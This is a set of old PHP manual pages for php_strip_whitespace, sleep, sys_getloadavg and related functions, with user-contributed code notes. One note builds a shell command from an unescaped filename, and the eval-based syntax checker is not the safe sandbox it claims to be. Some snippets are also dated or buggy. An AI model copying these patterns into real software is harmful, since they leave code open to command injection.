function eval_syntax($code)
{
    $braces = 0;
    $inString = 0;

    // We need to know if braces are correctly balanced.
    // This is not trivial due to variable interpolation
    // which occurs in heredoc, backticked and double quoted strings
    foreach (token_get_all('<?php ' . $code) as $token)
    {
        if (is_array($token))
        {
            switch ($token[0])
            {
            case T_CURLY_OPEN:
            case T_DOLLAR_OPEN_CURLY_BRACES:
            case T_START_HEREDOC: ++$inString; break;
            case T_END_HEREDOC:   --$inString; break;
            }
        }
        else if ($inString & 1)
        {
            switch ($token)
            {
            case '`':
            case '"': --$inString; break;
            }
        }
        else
        {
            switch ($token)
            {
            case '`':
            case '"': ++$inString; break;

            case '{': ++$braces; break;
            case '}':
                if ($inString) --$inString;
                else
                {
                    --$braces;
                    if ($braces < 0) return false;
                }

                break;
            }
        }
    }

    if ($braces) return false; // Unbalanced braces would break the eval below
    else
    {
        ob_start(); // Catch potential parse error messages
        $code = eval('if(0){' . $code . '}'); // Put $code in a dead code sandbox to prevent its execution
        ob_end_clean();

        return false !== $code;
    }
}
Quis at IVEGOTspamENOUGHomicidio dot nl 24-Mar-2007 03:42
<?PHP
// Think about shell-command escaping if you`re using user-input
function php_check_syntax($file,&$error) {
  exec("php -l $file",$error,$code);
  if($code==0)
    return true;
  return false;
}
?>

Note: This is UNIX
Note: If your environment-variable PATH is not set correctly, you will need to insert the path to php (like /usr/local/bin/php)
pack
php_strip_whitespace
Misc. Functions


Return source with stripped comments and whitespace

php_check_syntax
show_source
Misc. Functions
PHP Manual

php_strip_whitespace

(PHP 5)

php_strip_whitespace — Return source with stripped comments and whitespace

Description

string php_strip_whitespace ( string $filename )

Returns the PHP source code in filename with PHP comments and whitespace removed. This may be useful for determining the amount of actual code in your scripts compared with the amount of comments. This is similar to using php -w from the commandline.

Parameters

filename

Path to the PHP file.

Return Values

The stripped source code will be returned on success, or an empty string on failure.

Note:

This function works as described as of PHP 5.0.1. Before this it would only return an empty string. For more information on this bug and its prior behavior, see bug report » #29606.

Examples

Example #1 php_strip_whitespace() example

<?php
// PHP comment here

/*
 * Another PHP comment
 */

echo        php_strip_whitespace(__FILE__);
// Newlines are considered whitespace, and are removed too:
do_nothing();
?>

The above example will output:

<?php
 echo php_strip_whitespace(__FILE__); do_nothing(); ?>

Notice the PHP comments are gone, as are the whitespace and newline after the first echo statement.

User Contributed Notes

TK 22-May-2009 06:07
I was looking earlier for a way to strip php comments from my source files but didn't come up with much.  I wrote the following function to do the trick using the tokenizer.  I've tested in on an entire phpMyAdmin install and it worked fine afterward... so it should be good to go.  You may also specify any number of tokens to strip such as T_WHITESPACE rather the default of T_COMMENT and T_DOC_COMMENT.

Hopefully someone finds it useful.

<?php

function strip_tokens($code) {

    $args = func_get_args();
    $arg_count = count($args);

    // if no tokens to strip have been specified then strip comments by default
    if( $arg_count === 1 ) {
        $args[1] = T_COMMENT;
        $args[2] = T_DOC_COMMENT;
    }

    // build a keyed array of tokens to strip
    for( $i = 1; $i < $arg_count; ++$i )
        $strip[ $args[$i] ] = true;

    // set a keyed array of newline characters used to preserve line numbering
    $newlines = array("\n" => true, "\r" => true);

    $tokens = token_get_all($code);

    reset($tokens);

    $return = '';

    $token = current($tokens);

    while( $token ) {

        if( !is_array($token) )

            $return.= $token;

        elseif(    !isset($strip[ $token[0] ]) )

            $return.= $token[1];

        else {

            // return only the token's newline characters to preserve line numbering
            for( $i = 0, $token_length = strlen($token[1]); $i < $token_length; ++$i )
                if( isset($newlines[ $token[1][$i] ]) )
                    $return.= $token[1][$i];

        }

        $token = next($tokens);

    } // while more tokens

    return $return;

} // function

?>
gelamu at gmail dot com 10-Apr-2008 02:12
With this function You can compress Your PHP source code.

<?php

function compress_php_src($src) {
    // Whitespaces left and right from this signs can be ignored
    static $IW = array(
        T_CONCAT_EQUAL,             // .=
        T_DOUBLE_ARROW,             // =>
        T_BOOLEAN_AND,              // &&
        T_BOOLEAN_OR,               // ||
        T_IS_EQUAL,                 // ==
        T_IS_NOT_EQUAL,             // != or <>
        T_IS_SMALLER_OR_EQUAL,      // <=
        T_IS_GREATER_OR_EQUAL,      // >=
        T_INC,                      // ++
        T_DEC,                      // --
        T_PLUS_EQUAL,               // +=
        T_MINUS_EQUAL,              // -=
        T_MUL_EQUAL,                // *=
        T_DIV_EQUAL,                // /=
        T_IS_IDENTICAL,             // ===
        T_IS_NOT_IDENTICAL,         // !==
        T_DOUBLE_COLON,             // ::
        T_PAAMAYIM_NEKUDOTAYIM,     // ::
        T_OBJECT_OPERATOR,          // ->
        T_DOLLAR_OPEN_CURLY_BRACES, // ${
        T_AND_EQUAL,                // &=
        T_MOD_EQUAL,                // %=
        T_XOR_EQUAL,                // ^=
        T_OR_EQUAL,                 // |=
        T_SL,                       // <<
        T_SR,                       // >>
        T_SL_EQUAL,                 // <<=
        T_SR_EQUAL,                 // >>=
    );
    if(is_file($src)) {
        if(!$src = file_get_contents($src)) {
            return false;
        }
    }
    $tokens = token_get_all($src);

    $new = "";
    $c = sizeof($tokens);
    $iw = false; // ignore whitespace
    $ih = false; // in HEREDOC
    $ls = "";    // last sign
    $ot = null;  // open tag
    for($i = 0; $i < $c; $i++) {
        $token = $tokens[$i];
        if(is_array($token)) {
            list($tn, $ts) = $token; // tokens: number, string, line
            $tname = token_name($tn);
            if($tn == T_INLINE_HTML) {
                $new .= $ts;
                $iw = false;
            } else {
                if($tn == T_OPEN_TAG) {
                    if(strpos($ts, " ") || strpos($ts, "\n") || strpos($ts, "\t") || strpos($ts, "\r")) {
                        $ts = rtrim($ts);
                    }
                    $ts .= " ";
                    $new .= $ts;
                    $ot = T_OPEN_TAG;
                    $iw = true;
                } elseif($tn == T_OPEN_TAG_WITH_ECHO) {
                    $new .= $ts;
                    $ot = T_OPEN_TAG_WITH_ECHO;
                    $iw = true;
                } elseif($tn == T_CLOSE_TAG) {
                    if($ot == T_OPEN_TAG_WITH_ECHO) {
                        $new = rtrim($new, "; ");
                    } else {
                        $ts = " ".$ts;
                    }
                    $new .= $ts;
                    $ot = null;
                    $iw = false;
                } elseif(in_array($tn, $IW)) {
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_CONSTANT_ENCAPSED_STRING
                       || $tn == T_ENCAPSED_AND_WHITESPACE)
                {
                    if($ts[0] == '"') {
                        $ts = addcslashes($ts, "\n\t\r");
                    }
                    $new .= $ts;
                    $iw = true;
                } elseif($tn == T_WHITESPACE) {
                    $nt = @$tokens[$i+1];
                    if(!$iw && (!is_string($nt) || $nt == '$') && !in_array($nt[0], $IW)) {
                        $new .= " ";
                    }
                    $iw = false;
                } elseif($tn == T_START_HEREDOC) {
                    $new .= "<<<S\n";
                    $iw = false;
                    $ih = true; // in HEREDOC
                } elseif($tn == T_END_HEREDOC) {
                    $new .= "S;";
                    $iw = true;
                    $ih = false; // in HEREDOC
                    for($j = $i+1; $j < $c; $j++) {
                        if(is_string($tokens[$j]) && $tokens[$j] == ";") {
                            $i = $j;
                            break;
                        } else if($tokens[$j][0] == T_CLOSE_TAG) {
                            break;
                        }
                    }
                } elseif($tn == T_COMMENT || $tn == T_DOC_COMMENT) {
                    $iw = true;
                } else {
                    if(!$ih) {
                        $ts = strtolower($ts);
                    }
                    $new .= $ts;
                    $iw = false;
                }
            }
            $ls = "";
        } else {
            if(($token != ";" && $token != ":") || $ls != $token) {
                $new .= $token;
                $ls = $token;
            }
            $iw = true;
        }
    }
    return $new;
}

?>

For example:
<?php

$src = <<<EOT
<?php
// some comment
for ( $i = 0; $i < 99; $i ++ ) {
   echo "i=${ i }\n";
   /* ... */
}
/** ... */
function abc() {
   return   "abc";
};

abc();
?>
<h1><?= "Some text " . str_repeat("_-x-_ ", 32);;; ?></h1>
EOT;
var_dump(compress_php_src($src));
?>

And the result is:
string(125) "<?php for(=0;<99;++){echo "i=\n";}function abc(){return "abc";};abc(); ?>
<h1><?="Some text ".str_repeat("_-x-_ ",32)?></h1>"
Jouni 03-Oct-2007 05:14
If you wish to just remove excess whitespace from a string, see the example "Strip whitespace" in the preg_replace documentation (http://www.php.net/manual/en/function.preg-replace.php).
Zvjezdan Patz 13-Sep-2007 08:14
I was given a report that was separated by spaces and asked to make graphs from it.  I needed to turn the report data into a csv in memory so I could manipulate it further.

First needed to see the report, then need to strip out the whitespace, but leave one space between each item that I could convert to a column.

There were lots of complicated ways to do this.  I stumbled on something simple.

Say the report looks like this:

Monday    Tuesday    Wednesday    Thursday   Friday   Saturday   Sunday
1               5               7                    8               10         7              8
7               15             4                    0               21         4              12
9               5               7                    9               0           9              43

The report is using spaces and not tabs to separate everything.  Assume it's a file called data.txt you can use the following to strip out the spaces and make it comma delimited:

<?php

$handle = @fopen("data.txt", "r");

if ($handle)
{
  while (!feof($handle))
  {
    $buffer = fgets($handle, 4096);
    // this will search for 5 spaces and replace with 1, then 4, then 3, then 2
    // then only one will be left.  Replace that one space with a comma
    // then output with nl2br so you can see the line breaks

    print nl2br(str_replace(" ", ",",ereg_replace( '  ', ' ',ereg_replace( '   ', ' ', ereg_replace( '    ', ' ', ereg_replace( '     ',' ',$buffer ))))));
  }
}

fclose($handle);
?>

Hope that helps someone else.
natio at phpfox dot com 05-Sep-2007 11:21
Notice: In my last comment for this function I failed to add some important parts of the function. So I have re-added it here. Feel free to delete my earlier comment. Thanks!
---

To use php_strip_whitespace in (PHP 4 >= 4.2.0) you could try the function below. This function also helps solve the issues with php_strip_whitespace not fully removing new lines and extra whitespace's in HTML when embedded with PHP.

<?php

if (!defined ('T_ML_COMMENT'))
{
    define ('T_ML_COMMENT', T_COMMENT);
}
if (!defined ('T_DOC_COMMENT'))
{
    define ('T_DOC_COMMENT', T_ML_COMMENT);
}

function StripWhitespace($sFileName)
{
    if ( !is_file($sFileName) )
    {
        return false;
    }

    $sContent = implode('', file($sFileName));

    $aTokens = token_get_all($sContent);

    $bLast = false;
    $sStr = '';
    for ( $i = 0, $j = count($aTokens); $i < $j; $i++ )
    {
        if ( is_string($aTokens[$i]) )
        {
            $bLast = false;
            $sStr .= $aTokens[$i];
        }
        else
        {
            switch ( $aTokens[$i][0] )
            {
                case T_COMMENT:
                case T_ML_COMMENT:
                case T_DOC_COMMENT:
                break;
                case T_WHITESPACE:
                if (!$bLast)
                {
                    $sStr .= ' ';
                    $bLast = true;
                }
                break;
                default:
                     $bLast = false;
                    $sStr .= $aTokens[$i][1];
                break;
            }
        }
    }

    $sStr = trim($sStr);
    $sStr = str_replace("\n", "", $sStr);
    $sStr = str_replace("\r", "", $sStr);

    return $sStr;
}
?>
nyctimus at yahoo dot com 03-May-2007 02:01
Here's one for CSS:

<?php

function css_strip_whitespace($css)
{
  $replace = array(
    "#/\*.*?\*/#s" => "",  // Strip C style comments.
    "#\s\s+#"      => " ", // Strip excess whitespace.
  );
  $search = array_keys($replace);
  $css = preg_replace($search, $replace, $css);

  $replace = array(
    ": "  => ":",
    "; "  => ";",
    " {"  => "{",
    " }"  => "}",
    ", "  => ",",
    "{ "  => "{",
    ";}"  => "}", // Strip optional semicolons.
    ",\n" => ",", // Don't wrap multiple selectors.
    "\n}" => "}", // Don't wrap closing braces.
    "} "  => "}\n", // Put each rule on it's own line.
  );
  $search = array_keys($replace);
  $css = str_replace($search, $replace, $css);

  return trim($css);
}

?>

A word on the first regular expression, since it took me a while.
It strips C style comments. /* Like this. */

#/\*.*?\*/#s
^         ^
The pound signs at either end quote the regex. They don't match anything.

#/\*.*?\*/#s
           ^
The s at the very end sets the PCRE_DOTALL modifier. More info here:
http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php

#  /\*  .*?  \*/  #s
    1    2    3
The expression itself consists of 3 parts:
1. the opening comment sequence, represented by     /\*
2. everything in the middle, represented by         .*?
3. and the closing comment sequence, represented by \*/

#/\*.*?\*/#s
   ^    ^
The comment asterisks are escaped. If I had used the more common / for PCRE quoting I would've had to escape those too.

#/\*.*?\*/#s
      ^
The ? prevents the regex from being greedy. See halfway down this page:
http://www.php.net/manual/en/reference.pcre.pattern.syntax.php
flconseil at yahoo dot fr 08-Jul-2006 08:57
Beware that this function uses the output buffering mechanism.

If you give a 'stream wrapped' path as argument, anything echoed by the stream wrapper during this call (e.g. trace messages) won't be displayed to the screen but will be inserted in php_strip_whitespace's result.

If you execute this stripped code later, it will display the messages which should have been output during php_strip_whitespace's execution !
mwwaygoo AT hotmail DOT com 27-Apr-2006 09:17
I thought this was a nice function until I realised it wouldnt strip down html. As i'd been reading an article on compressing output to speed up delivery.
So I wrote a little one to do that for me. Here its is, incase people were looking for a html version. It may need tweaking, like with existing &nbsp;'s.

<?php
function strip_html($data)
{
    // strip unecessary comments and characters from a webpages text
    // all line comments, multi-line comments \\r \\n \\t multi-spaces that make a script readable.
    // it also safeguards enquoted values and values within textareas, as these are required

    $data=preg_replace_callback("/>[^<]*<\\/textarea/i", "harden_characters", $data);
    $data=preg_replace_callback("/\\"[^\\"<>]+\\"/", "harden_characters", $data);

    $data=preg_replace("/(\\/\\/.*\\n)/","",$data); // remove single line comments, like this, from // to \\n
    $data=preg_replace("/(\\t|\\r|\\n)/","",$data);  // remove new lines \\n, tabs and \\r
    $data=preg_replace("/(\\/\\*.*\\*\\/)/","",$data);  // remove multi-line comments /* */
    $data=preg_replace("/(<![^>]*>)/","",$data);  // remove multi-line comments <!-- -->
    $data=preg_replace('/(\\s+)/', ' ',$data); // replace multi spaces with singles
    $data=preg_replace('/>\\s</', '><',$data);

    $data=preg_replace_callback("/\\"[^\\"<>]+\\"/", "unharden_characters", $data);
    $data=preg_replace_callback("/>[^<]*<\\/textarea/", "unharden_characters", $data);

    return $data;
}

function harden_characters($array)
{
    $safe=$array[0];
    $safe=preg_replace('/\\n/', "%0A", $safe);
    $safe=preg_replace('/\\t/', "%09", $safe);
    $safe=preg_replace('/\\s/', "&nbsp;", $safe);
    return $safe;
}
function unharden_characters($array)
{
    $safe=$array[0];
    $safe=preg_replace('/%0A/', "\\n", $safe);
    $safe=preg_replace('/%09/', "\\t", $safe);
    $safe=preg_replace('/&nbsp;/', " ", $safe);
    return $safe;
}
?>

The article code was similar to this, which shouldn't work as php_strip_whitespace takes a filename as input:-

<?php
// ob_start(); and output here
$data=ob_get_contents();
ob_end_clean();
if(strstr($_SERVER['HTTP_ACCEPT_ENCODING'],'gzip'))
{
    $data=gzencode(php_strip_whitespace($data),9);
    header('Content-Encoding: gzip');
}
echo $data;
?>
dnc at seznam dot cz 21-Oct-2005 03:01
This function can not be used to strip comments outside <?php ... ?>

// this comment will not be removed
<?php
// this comment will be removed
?>
amedee at amedee dot be 09-Jul-2005 05:29
Not only can this be used for JavaScript files, but also for:

* Java source code
* CSS (Style Sheets)
* Any file with C-style comments.
php_check_syntax
show_source
Misc. Functions


Alias of highlight_file

php_strip_whitespace
sleep
Misc. Functions
PHP Manual

show_source

(PHP 4, PHP 5)

show_source — Alias of highlight_file()

Description

This function is an alias of: highlight_file().

User Contributed Notes

edy at edy-b dot de 19-May-2007 03:49
Show the source of the current file:

<?php
    /* some code here */

    show_source(__FILE__);
?>
php_strip_whitespace
sleep
Misc. Functions


Delay execution

show_source
sys_getloadavg
Misc. Functions
PHP Manual

sleep

(PHP 4, PHP 5)

sleep — Delay execution

Description

int sleep ( int $seconds )

Delays the program execution for the given number of seconds.

Parameters

seconds

Halt time in seconds.

Return Values

Returns zero on success, or FALSE on error.

If the call was interrupted by a signal, sleep() returns a non-zero value. On Windows, this value will always be 192 (the value of the WAIT_IO_COMPLETION constant within the Windows API). On other platforms, the return value will be the number of seconds left to sleep.

Errors/Exceptions

If the specified number of seconds is negative, this function will generate a E_WARNING.

Changelog

Version | Description
5.3.4 | Before PHP 5.3.4, on Windows, sleep() always returns NULL when sleep has occurred, regardless of whether the sleep was interrupted or not.

Examples

Example #1 sleep() example

<?php

// current time
echo date('h:i:s') . "\n";

// sleep for 10 seconds
sleep(10);

// wake up !
echo date('h:i:s') . "\n";

?>

This example will output (after 10 seconds)

05:31:23
05:31:33

See Also

  • usleep() - Delay execution in microseconds
  • time_nanosleep() - Delay for a number of seconds and nanoseconds
  • time_sleep_until() - Make the script sleep until the specified time
  • set_time_limit() - Limits the maximum execution time

User Contributed Notes

barlow at fhtsolutions dot com 24-Sep-2011 06:33
You should put sleep into both the pass and fail branches, since an attacker can check whether the response is slow and use that as an indicator - cutting down the delay time. But a delay in both branches eliminates this possibility.
code {@} ashleyhunt [dot] co [dot] uk 30-Jul-2011 06:31
A really simple, but effective way of majorly slowing down bruit force attacks on wrong password attempts.

In my example below, if the end-user gets the password correct, they get to log in at full speed, as expected. For every incorrect password attempt, the users response is delayed by 2 seconds each time; mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute.

I hope this very simple approach will help make your web applications that little bit more secure.

Ashley

<?php
public function handle_login() {
    if($uid = user::check_password($_REQUEST['email'], $_REQUEST['password'])) {
        return self::authenticate_user($uid);
    }
    else {
        // delay failed output by 2 seconds
        // to prevent bruit force attacks
        sleep(2);
        return self::login_failed();
    }
}
?>
soulhunter1987 at post dot ru 18-Aug-2010 12:49
Since sleep() can be interrupted by signals i've made a function which can also be interrupted, but will continue sleeping after the signal arrived (and possibly was handled by callback). It's very useful when you write daemons and need sleep() function to work as long as you 'ordered', but have an ability to accept signals during sleeping.

<?php
function my_sleep($seconds)
{
    $start = microtime(true);
    for ($i = 1; $i <= $seconds; $i ++) {
        @time_sleep_until($start + $i);
    }
}
?>
toddjt78 at msn dot com 09-May-2010 07:39
Simple function to report the microtime since last called or the microtime since first called.

<?php
function stopWatch($total = false,$reset = true){
    global $first_called;
    global $last_called;
    $now_time = microtime(true);
    if ($last_called === null) {
        $last_called = $now_time;
        $first_called = $now_time;
    }
    if ($total) {
        $time_diff = $now_time - $first_called;
    } else {
        $time_diff = $now_time - $last_called;
    }
    if ($reset)
        $last_called = $now_time;
    return $time_diff;
}
?>

$reset  - if true, resets the last_called value to now
$total - if true, returns the time since first called otherwise returns the time since last called
jimmy at powerzone dot dk 06-Mar-2010 08:26
Notice that sleep() delays execution for the current session, not just the script. Consider the following sample, where two computers invoke the same script from a browser, which doesn't do anything but sleep.

PC 1 [started 14:00:00]: script.php?sleep=10 // Will stop after 10 secs
PC 1 [started 14:00:03]: script.php?sleep=0 // Will stop after 7 secs

PC 2 [started 14:00:05]: script.php?sleep=0 // Will stop immediately

http://php.net/session_write_close may be used to address this problem.
mohd at Bahrain dot Bz 16-Dec-2009 01:12
I hope this code will help somebody to solve the problem of not being able to flush or output the buffer to the browser (I use IE7).
It may work for you with just [ echo str_repeat(".", 4096); ] and without even using ob_... and flush.

<?php
ob_start();

ob_implicit_flush(true);
//[ OR ] echo "..."; ob_flush(); flush();

set_time_limit(0);

function sleep_echo($secs) {
    $secs = (int) $secs;
    $buffer = str_repeat(".", 4096);
    //echo $buffer."\r\n<br />\r\n";
    for ($i=0; $i<$secs; $i++) {
        echo date("H:i:s", time())." (".($i+1).")"."\r\n<br />\r\n".$buffer."\r\n<br />\r\n";
        ob_flush();
        flush();
        sleep(1);
        //usleep(1000000);
    }
}

sleep_echo(30);

ob_end_flush();
?>
f dot schima at ccgmbh dot de 10-Nov-2009 06:48
Remember that sleep() means "Let PHP time to do some other stuff".
That means that sleep() can be interrupted by signals. That is important if you work with pcntl_signal() and friends.
Anonymous 08-Feb-2009 12:32
This will allow you to use negative values or valuer below 1 second.

<?php slaap(0.5); ?>

<?php
function slaap($seconds)
{
    $seconds = abs($seconds);
    if ($seconds < 1):
       usleep($seconds*1000000);
    else:
       sleep($seconds);
    endif;
}
?>
webseos at gmail dot com 26-Aug-2008 09:29
This is a critical thing to use time delay function as sleep() Because a beginner can find that this is not working and he/she will see that all output appearing at a time.

A good way to implement this is by using the function -  ob_implicit_flush() then you don't need to use flush() function explicitly.

A sample code :
<?php
ob_implicit_flush(true);
for($i=0;$i<5;$i++)
{
$dis=<<<DIS
<div style="width:200px; background-color:lime;border:1px; text-align:center;text-decoration:blink;">
$i
</div>
DIS;
echo $dis;

sleep(5);
//flush();
}
marpetr at gmail dot com 17-Mar-2008 11:41
Very useful to prevent password brute forcing! Simply add few seconds timeout to login script and the probability to guess the password decreases a lot!
linus at flowingcreativity dot net 08-Jul-2005 08:07
This may seem obvious, but I thought I would save someone from something that just confused me: you cannot use sleep() to sleep for fractions of a second. This:

<?php sleep(0.25) ?>

will not work as expected. The 0.25 is cast to an integer, so this is equivalent to sleep(0). To sleep for a quarter of a second, use:

<?php usleep(250000) ?>
MPHH 05-Jul-2003 12:33
Note: The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, etc. is not included when determining the maximum time that the script has been running.
hartmut at six dot de 25-Aug-2000 06:38
it is a bad idea to use sleep() for delayed output effects as

1) you have to flush() output before you sleep

2) depending on your setup flush() will not work all the way to the browser as the web server might apply buffering of its own or the browser might not render output it thinks not to be complete

netscape for example will only display complete lines and will not show table parts until the </table> tag arrived

so use sleep if you have to wait  for events and don't want to burn  to much cycles, but don't use it for silly delayed output effects!
show_source
sys_getloadavg
Misc. Functions


Gets system load average

sleep
time_nanosleep
Misc. Functions
PHP Manual

sys_getloadavg

(PHP 5 >= 5.1.3)

sys_getloadavg — Gets system load average

Description

array sys_getloadavg ( void )

Returns three samples representing the average system load (the number of processes in the system run queue) over the last 1, 5 and 15 minutes, respectively.

Return Values

Returns an array with three samples (last 1, 5 and 15 minutes).

Examples

Example #1 A sys_getloadavg() example

<?php
$load = sys_getloadavg();
if ($load[0] > 80) {
    header('HTTP/1.1 503 Too busy, try again later');
    die('Server too busy. Please try again later.');
}
?>

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

rick at rctonline dot nl 24-Jan-2012 12:57
Here is another one that also works on windows. Note that this method is not fast, so be careful in the number of calls to this function.

<?php
function get_server_load() {

        if (stristr(PHP_OS, 'win')) {

            $wmi = new COM("Winmgmts://");
            $server = $wmi->execquery("SELECT LoadPercentage FROM Win32_Processor");

            $cpu_num = 0;
            $load_total = 0;

            foreach($server as $cpu){
                $cpu_num++;
                $load_total += $cpu->loadpercentage;
            }

            $load = round($load_total/$cpu_num);

        } else {

            $sys_load = sys_getloadavg();
            $load = $sys_load[0];

        }

        return (int) $load;

    }
?>
828586 at gmail dot com 12-Jun-2010 07:43
equivalent for windows
<?php
ob_start();
passthru('typeperf -sc 1 "\processor(_total)\% processor time"',$status);
$content = ob_get_contents();
ob_end_clean();
if ($status === 0) {
    if (preg_match("/\,\"([0-9]+\.[0-9]+)\"/",$content,$load)) {
        if ($load[1] > get_config('busy_error')) {
            header('HTTP/1.1 503 Too busy, try again later');
            die('Server too busy. Please try again later.');
        }
    }
}
?>
Anonymous 19-Nov-2009 12:14
To get just current load avg, you can do :

<?php
$output = shell_exec('cat /proc/loadavg');
$loadavg = substr($output,0,strpos($output," "));
?>
scott at corelevel dot com 27-Nov-2006 02:47
I was having a problem with a large script I need to run - was a loop through about 50,000 records and downloading several pictures for a bunch of them, and updating the database.

the problem came as I started getting visitors to my site, the server would get behind, run out of memory, iowait skyrockets, mysql slows down... was a total downhill spiral.

Use this to fix it.

$load = sys_getloadavg();
$sleep=5;
$maxload=2;
if ($load[0] > $maxload) {
       sleep($sleep);
    echo "Busy server - sleep $sleep seconds<br>";
}

I have to play with the load and the sleep number to find what worked for my script, but now my server does not bog at all.
surfchen at gmail dot com 06-Jul-2006 09:22
the codes below will provide this function for order versions of PHP.
if (!function_exists('sys_getloadavg')) {
    function sys_getloadavg()
    {
        $loadavg_file = '/proc/loadavg';
        if (file_exists($loadavg_file)) {
            return explode(chr(32),file_get_contents($loadavg_file));
        }
        return array(0,0,0);
    }
}
tom pittlik 03-Mar-2006 02:36
The code below mimics the output of sys_getloadavg(). You may have to tweak the way the substring is captured for different distros.

<?

function sys_getloadavg_hack()
{
    $str = substr(strrchr(shell_exec("uptime"),":"),1);
    $avs = array_map("trim",explode(",",$str));

    return $avs;
}

print_r(sys_getloadavg_hack());

// Array
// (
//     [0] => 6.24
//     [1] => 4.92
//     [2] => 3.99
// )

?>

This function is a neat way of running low priority or non-essential cron jobs on a busy server - if the load is high, don't continue with the task (and try again in a few minutes time).
sleep
time_nanosleep
Misc. Functions


Delay for a number of seconds and nanoseconds

sys_getloadavg
time_sleep_until
Misc. Functions
PHP Manual

time_nanosleep

(PHP 5)

time_nanosleep — Delay for a number of seconds and nanoseconds

Description

mixed time_nanosleep ( int $seconds , int $nanoseconds )

Delays program execution for the given number of seconds and nanoseconds.

Parameters

seconds

Must be a non-negative integer.

nanoseconds

Must be a non-negative integer less than 1 billion.

Return Values

Returns TRUE on success or FALSE on failure.

If the delay was interrupted by a signal, an associative array will be returned with the components:

  • seconds - number of seconds remaining in the delay
  • nanoseconds - number of nanoseconds remaining in the delay

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Examples

Example #1 time_nanosleep() example

<?php
// Careful! This won't work as expected if an array is returned
if (time_nanosleep(0, 500000000)) {
    echo "Slept for half a second.\n";
}

// This is better:
if (time_nanosleep(0, 500000000) === true) {
    echo "Slept for half a second.\n";
}

// And this is the best:
$nano = time_nanosleep(2, 100000);

if ($nano === true) {
    echo "Slept for 2 seconds, 100 microseconds.\n";
} elseif ($nano === false) {
    echo "Sleeping failed.\n";
} elseif (is_array($nano)) {
    $seconds = $nano['seconds'];
    $nanoseconds = $nano['nanoseconds'];
    echo "Interrupted by a signal.\n";
    echo "Time remaining: $seconds seconds, $nanoseconds nanoseconds.";
}
?>

See Also

  • sleep() - Delay execution
  • usleep() - Delay execution in microseconds
  • time_sleep_until() - Make the script sleep until the specified time
  • set_time_limit() - Limits the maximum execution time

User Contributed Notes

b dot andrew at shaw dot ca 04-Jul-2008 09:10
A response to the note below:

Your function is also useless, as the WinNT 32 kernel only functions at a minimum of about 10+ ms (1,000 us), rendering usleep() useless, because usleep uses the C function which is provided by the system (in this case, kernel32.dll).

You'll want to use a function that does not rely on the kernel, but rather something made for precise measurement:

<?php
function usleep_win( $micro_seconds )
{
    if ( @function_exists( "socket_create" ) && @function_exists( "socket_select" ) )
    {
        $false = NULL;
        $socket = array( socket_create( AF_INET, SOCK_RAW, $false ) );
        socket_select( $false, $false, $socket, 0, $micro_seconds );
        return true;
    }
    else
    {
        return false;
    }
}
?>

This function will allow to you sleep for a specified microsecond, although I have measured it to be off by ~5 us.

Again, most of this depends on the hardware in your system. If you _REALLY_ need to be precise to < 10 us, you shouldn't be using WinNT anyways!
fantasysportswire at yahoo dot com 18-Dec-2006 03:27
Just glancing at this - and the note from over a year ago with a implementation for windows.. with 5.0.0 and higher it would be simplier to just do something like......

<?

if (!function_exists('time_nanosleep')) {

function time_nanosleep($seconds, $nanoseconds) {

sleep($seconds);
usleep(round($nanoseconds/100));

return true;

}

}

?>

....off the top of my head - obviously simple enough there should be no mistakes.. but those are the ones that always seem to get ya :( .....
anybody (a) emuxperts.net 21-Aug-2006 04:03
Documentation states that "seconds" must be positive. This is not correct, 0 is possible.

Rather, "seconds" must be non-negative.
m at kufi dot net 13-Aug-2005 02:03
You should take into account, if you use the function replacement down here, the CPU will be in use of 99% for the time of execution...

(A little bit better in this situation is to let the 'full seconds' go by a normal sleep command (makes the thread sleep!, and uses minimum cpu))

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
//optimizations added by me [start]
//sleep the full seconds
sleep(intval($microtime));
//set the microtime to only resleep the last part of the nanos
$microtime = $microtime - intval($microtime);
//optimizations added by me [end]

        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
 ?>
tecnomaniac at ig dot com dot br 26-Jul-2005 03:04
This is an alternative function to sleep_nanosecond that you can use with PHP versions below PHP 5.0. It is not very accurate if we talk about nanoseconds but the results are satisfatory. Enjoy!

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
?>
sys_getloadavg
time_sleep_until
Misc. Functions


Make the script sleep until the specified time

time_nanosleep
uniqid
Misc. Functions
PHP Manual

time_sleep_until

(PHP 5 >= 5.1.0)

time_sleep_until — Make the script sleep until the specified time

Description

bool time_sleep_until ( float $timestamp )

Makes the script sleep until the specified timestamp.

Parameters

timestamp

The timestamp when the script should wake.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Errors/Exceptions

If the specified timestamp is in the past, this function will generate a E_WARNING.

Examples

Example #1 A time_sleep_until() example

<?php

//returns false and generates a warning
var_dump(time_sleep_until(time()-1));

// may only work on faster computers, will sleep up to 0.2 seconds
var_dump(time_sleep_until(microtime(true)+0.2));

?>

Notes

Note: All signals will be delivered after the script wakes up.

See Also

  • sleep() - Delay execution
  • usleep() - Delay execution in microseconds
  • time_nanosleep() - Delay for a number of seconds and nanoseconds
  • set_time_limit() - Limits the maximum execution time

User Contributed Notes

